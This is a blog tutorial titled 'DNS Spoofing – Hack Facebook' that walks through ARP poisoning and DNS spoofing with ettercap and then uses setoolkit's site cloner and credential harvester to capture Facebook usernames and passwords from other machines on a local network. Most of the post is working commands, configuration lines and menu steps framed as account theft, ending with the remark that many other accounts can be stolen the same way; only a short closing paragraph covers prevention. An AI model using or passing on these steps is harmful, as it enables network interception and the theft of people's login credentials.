• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result
Home Tips

DNS Spoofing – Hack Facebook

AnonyViet by AnonyViet
March 27, 2023
in Tips
0
0
SHARES
Share on FacebookShare on Twitter

I would like to briefly talk about DNS – Domain Name System – Domain name resolution system.

Join the channel Telegram belong to AnonyViet ???? Link ????

When you enter a web browser and type facebook.com, the DNS system will resolve it for you to an IP address so that you can communicate and transmit data on the network.

This article will be divided into 2 parts:

Part 1: Using ettercap to perform DNS Spoofing

Part 2: Using Setoolkit and Ettercap to steal facebook accounts.

Perform:

Part 1: Using ettercap to perform DNS Spoofing

First, I will ping facebook.com What is the IP address corresponding to the facebook.com domain name?

 photo facebook_zpsf1b7f07c.jpg

Next, go to Kali Linux and perform Enable IP Forwarding.

#echo 1 > /proc/sys/net/ipv4/ip_forward

 photo ipforwarding_zps9e90c910.jpg

Next edit the file etter.dns.

Use the locate etter.dns command to see where it is currently. Once done, proceed to add the following records:

facebook.com A 192.168.0.109

*.facebook.com A 192.168.0.109

With the address 192.168.0.109 is the Attacker machine IP.

 photo etherdns_zps6db36b10.jpg

Note: May be located at /usr/local/share/ettercap/etter.dns with Backtrack 5 versions

When done, save and exit :wq

 photo facebook2_zpscdfe6288.jpg

Perform dns spoofing with the command

#ettercap -T -q -M arp:remote -P dns_spoof //

 photo ettercap_zpsac23a3f7.jpg

Then go to the client machine, re-assign the address with the command >ipconfig /renew

 photo ettercap3_zps6c7aa75f.jpg

Now go to the PC client to access facebook.com you will see it still accesses normally. But when pinging to facebook.com, the IP reply is 192.168.0.109 – Attacker’s IP.

 photo pingfacebook2_zps52486770.jpg

OK. So you have succeeded in driving data through your computer, now we will proceed to steal Facebook account.

Part 2: Using setoolkit and ettercap to perform stealing facebook accounts.

Tools used:

setoolkit: clone website, capture username/password

ettercap: Scan hosts + ARP poisoning (ARP spoofing) + DNS spoofing + Sniff (eavesdropping).

Demo video: Youtube

Instructions with pictures

Enable setoolkit

#/usr/share/set/setoolkit

DNS Spoofing - Hack Facebook 22

Agree to terms of use Click y -> Enter

 photo setoolkit2_zps3d0fa4a2.jpg

Select 1) Social-Engineering Attacks

 photo setoolkit3_zps2970c553.jpg

Select 2) Website Attack Ventors

DNS Spoofing - Hack Facebook 23

Select 3) Credential Harvester Attack Method

DNS Spoofing - Hack Facebook 24

Select 2) Site Cloner

DNS Spoofing - Hack Facebook 25

Enter the Attacker’s IP address: 192.168.0.109

DNS Spoofing - Hack Facebook 26

Type the path you want to clone the website: https://www.facebook.com

DNS Spoofing - Hack Facebook 27

When done, turn on another Terminal, type ettercap -G to enable ettercap configuration with the interface

Select Sniff->Unified sniffing

DNS Spoofing - Hack Facebook 28

Select the port for eavesdropping: eth0

DNS Spoofing - Hack Facebook 29

Select Hosts-> Scan for hosts

Host-> Hosts List

DNS Spoofing - Hack Facebook 30

Choose 2 addresses to conduct eavesdropping

DNS Spoofing - Hack Facebook 31

Implement ARP possoning (ARP spoofing)

DNS Spoofing - Hack Facebook 32

Click select Sniff remote connections.

DNS Spoofing - Hack Facebook 33

Enter /etc/ettercap/etter.dns Add 2 lines:

facebook.com A 192.168.0.109

*.facebook.com A 192.168.0.109

DNS Spoofing - Hack Facebook 34

Enter Plugins-> Manage the plugins

DNS Spoofing - Hack Facebook 35

Click on dns_spoof to enable this feature

DNS Spoofing - Hack Facebook 36

Start sniffing

DNS Spoofing - Hack Facebook 37

On the client computer, open a web browser to facebook.com, enter username/password

DNS Spoofing - Hack Facebook 38

setoolkit will catch this username/password

DNS Spoofing - Hack Facebook 39

The username/password information is displayed in clear-text as above, so you already have the client’s facebook account.

Updated on September 15, 2015:

In the new version of Kali 2.0, when the clone site returns, it will be saved in the /var/www/ path, copy these files to the /var/www/html path then proceed normally:

Note: remember to change the permissions to read and write for these files:

#cd /var/www/html
#chmod 777 ./*

Includes 3 files:
– index.html : interface of facebook.com
– post.php: function to get username/password when you enter it and save it in haverster_*.txt file
– harvester_date_time.txt : save the obtained information.

  photo clone1.png

In the same way you can steal many other accounts.

How to prevent DNS Spoofing:

In addition to the two ways in the article ARP spoofing is to deploy port-security and DAI, you should deploy more DHCP snooping to prevent fake DHCP levels.

P/s: As you have seen, if the attacker has entered our internal network with dark intentions, there are many tools to extract information about his company. Thus, if any employee intends to sabotage the company, it is quite difficult to investigate.

By the way, if you have any useful monitoring tools or programs, please share them with me.

Close,

The article achieved: 5/5 – (100 votes)

Previous Post

Instructions to create your own ChatGPT Bot on Telegram

Next Post

How to share files between Android/iOS and computer without software

AnonyViet

AnonyViet

Related Posts

Create a self-deleting secret chat on Facebook Messenger
Tips

Create a self-deleting secret chat on Facebook Messenger

June 5, 2023
Configure Storage Sense to automatically delete junk files to increase hard drive space
Tips

Configure Storage Sense to automatically delete junk files to increase hard drive space

June 4, 2023
How to prepare for the Google Cloud certification exam for free on Whizlab
Tips

How to prepare for the Google Cloud certification exam for free on Whizlab

June 3, 2023
How to combine real faces into virtual images, no need to train AI
Tips

How to combine real faces into virtual images, no need to train AI

June 3, 2023
Download the beautiful Merry Christmas wallpaper set for the Christmas season
Tips

Download the beautiful Merry Christmas wallpaper set for the Christmas season

June 3, 2023
Hidden features on Windows 10 you may not know
Tips

Hidden features on Windows 10 you may not know

June 2, 2023
Next Post
How to share files between Android/iOS and computer without software

How to share files between Android/iOS and computer without software

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Recent News

Tips to download Photoshop Beta 2023 for free to use Generative Fill

Tips to download Photoshop Beta 2023 for free to use Generative Fill

June 5, 2023
Create a self-deleting secret chat on Facebook Messenger

Create a self-deleting secret chat on Facebook Messenger

June 5, 2023
Configure Storage Sense to automatically delete junk files to increase hard drive space

Configure Storage Sense to automatically delete junk files to increase hard drive space

June 4, 2023
How to prepare for the Google Cloud certification exam for free on Whizlab

How to prepare for the Google Cloud certification exam for free on Whizlab

June 3, 2023
Tips to download Photoshop Beta 2023 for free to use Generative Fill

Tips to download Photoshop Beta 2023 for free to use Generative Fill

June 5, 2023
Create a self-deleting secret chat on Facebook Messenger

Create a self-deleting secret chat on Facebook Messenger

June 5, 2023
Configure Storage Sense to automatically delete junk files to increase hard drive space

Configure Storage Sense to automatically delete junk files to increase hard drive space

June 4, 2023
AnonyViet – English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

Tips to download Photoshop Beta 2023 for free to use Generative Fill

Tips to download Photoshop Beta 2023 for free to use Generative Fill

June 5, 2023
Create a self-deleting secret chat on Facebook Messenger

Create a self-deleting secret chat on Facebook Messenger

June 5, 2023
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.